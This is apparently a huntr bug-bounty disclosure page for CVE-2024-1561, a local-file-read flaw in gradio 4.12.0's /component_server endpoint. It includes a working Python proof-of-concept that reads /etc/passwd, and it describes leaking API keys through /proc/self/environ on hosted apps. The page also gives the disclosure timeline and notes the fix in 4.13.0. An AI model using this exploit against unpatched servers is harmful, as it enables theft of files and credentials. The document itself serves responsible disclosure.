

Local file read by calling arbitrary methods of Components class in gradio-app/gradio

✓ Valid

Reported on Dec 28th 2023

Description

`/component_server` endpoint allows to call any method on a `Component` class:

```
@app.post("/component_server", dependencies=[Depends(login_check)])
@app.post("/component_server/", dependencies=[Depends(login_check)])
def component_server(body: ComponentServerBody):
    state = app.state_holder[body.session_hash]
    component_id = body.component_id
    block: Block
    if component_id in state:
        block = state[component_id]
    else:
        block = app.get_blocks().blocks[component_id]
    fn = getattr(block, body.fn_name)
    return fn(body.data)
```

Here it looks up a component by id, uses `getattr` to get the method (that attacker controls) and calls it with (also attacker controlled) argument `data`. All the components are instances of `Component` class (components/base.py), which is also an instance of `Block` class (blocks.py). `Block` class has a `move_resource_to_block_cache()` method that copies any file on a filesystem to a temporary directory and returns the path in `/tmp/`. It is then possible to retrieve this file with `/file={path}` endpoint.

Example

Start by installing latest version of gradio:

```
$ pip install 'gradio==4.12.0'
```

And run any gradio app (even the simplest one from examples):

```
import gradio as gr

def greet(name):
    return "Hello " + name + "!"
```

```
demo = gr.Interface(fn=greet, inputs="text", outputs="text")
```

```
if __name__ == "__main__":  
    demo.launch()
```

```
$ python app.py  
Running on local URL:  http://127.0.0.1:7860
```

To create a public **link**, set `share=True` in `launch()`.

Now run the PoC:

```
$ python poc.py --url='http://127.0.0.1:7860' --path='/etc/passwd'  
root:x:0:0::/root:/bin/bash  
bin:x:1:1:::/usr/bin/nologin  
daemon:x:2:2:::/usr/bin/nologin  
...
```

Proof of Concept

```
from argparse import ArgumentParser  
from requests import Session  
  
if __name__ == "__main__":  
    parser = ArgumentParser()  
    parser.add_argument("--url", required=True)  
    parser.add_argument("--path", default="/etc/passwd")  
    args = parser.parse_args()  
  
    url_base = args.url  
  
    with Session() as s:  
        # get app config:  
        rsp = s.get(f"{url_base}/config")  
  
        # grab any valid component_id:  
        component_id = rsp.json()["components"][0]["id"]  
  
        rsp = s.post(f"{url_base}/component_server", json={  
            "component_id" : component_id,  
            "data" : args.path, # "/etc/passwd",  
            "fn_name" : "move_resource_to_block_cache",  
            "session_hash" : "aaaaaaaaaaaa"  
        })  
        path = rsp.json()  
  
        rsp = s.get(f"{url_base}/file={path}")  
        print(rsp.text)
```

Impact

This vulnerability is capable of reading local files on the computer that runs the gradio application. It is even more critical because running an app with `launch(share=True)` will expose the app to the internet allowing anyone to read files on users computers. Edit: upon further investigation, it seems that all gradio apps hosted on `huggingface.co` are also vulnerable. I created a gradio app (`https://ff5x-test-gradio.hf.space/`) and added a secret `TEST_SECRET=VERY_SECRET` in settings, then running this exploit and reading `/proc/self/environ` will leak it through env variables. Looking through source code on some popular apps, a lot of them have openai tokens and other api keys, s3 credentials, etc. stored this way.

⚙️ We are processing your report and will contact the **gradio-app/gradio** team within 24 hours. 2 years ago

✉️ We have contacted a member of the **gradio-app/gradio** team and are waiting to hear back 2 years ago



✎️ **ozelis** modified the report 2 years ago



✎️ **Dan McInerney** modified the Severity from Critical (9.3) to High (7.5) 2 years ago



Dan McInerney commented 2 years ago

Admin

Per NIST's audits of other LFI's reported on our platform, setting CVSS to NIST's guidance of 7.5.



✎️ **Dan McInerney** modified the CWE from Exposed Dangerous Method or Function to Path Traversal: `'\..\filename'` 2 years ago

★ The researcher has received a minor penalty to their credibility for misclassifying the vulnerability type: -1

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



Dan McInerney validated this vulnerability 2 years ago

Since it's over 45 days we reproduced using the PoC. Worked first time. Nice find.

\$ **ozelis** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

 CVE-2024-1561 assigned to this report. 2 years ago



 Dan McInerney gave praise 2 years ago

Great PoC.

★ The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1



Freddy Boulton commented 2 years ago

Maintainer

Thanks @ozelis. This was fixed in this PR (<https://github.com/gradio-app/gradio/pull/6884>) and was released in version 4.13.0.



 A gradio-app/gradio maintainer has acknowledged this report 2 years ago



✓ Freddy Boulton marked this as fixed in 4.13.0 with commit 24a583 2 years ago

\$ The fix bounty has been dropped ✕

 Adam Nygate set the scheduled publication date to Apr 16th 2024 UTC 2 years ago

 A huntr admin modified the scheduled publication date from 16th Apr 2024 to 16th Apr 2024 2 years ago

⚠ We have sent a warning to the gradio-app/gradio team to inform them that this report will be published in 48 hours 2 years ago

 This vulnerability has now been published 2 years ago

 CVE-2024-1561 has now been published 2 years ago

nvn1729 commented 2 years ago

FYI, I reported this originally to gradio on 12/20/23 over email. That's why this was fixed before this huntr report was filed on 12/28/23. Can forward along evidence if desired.

Finally got a CVE ID assigned by MITRE (they've been backed up), but won't publish that now since this CVE is already published.

Not asking for bounty - just clarifying original discovery and that this report is a duplicate.

[Sign in](#) to join this conversation

CVE
CVE-2024-1561
Published

Vulnerability Type
CWE-29: Path Traversal: '..\filename'

Severity
High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

[Open in visual CVSS calculator](#)

Registry
Pypi

Affected Version
4.12.0

Visibility
Public

Status
Fixed

Disclosure Bounty
\$750

Fix Bounty
\$187.5

Found by



ozelis
@ozelis
MIDDLEWEIGHT

Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



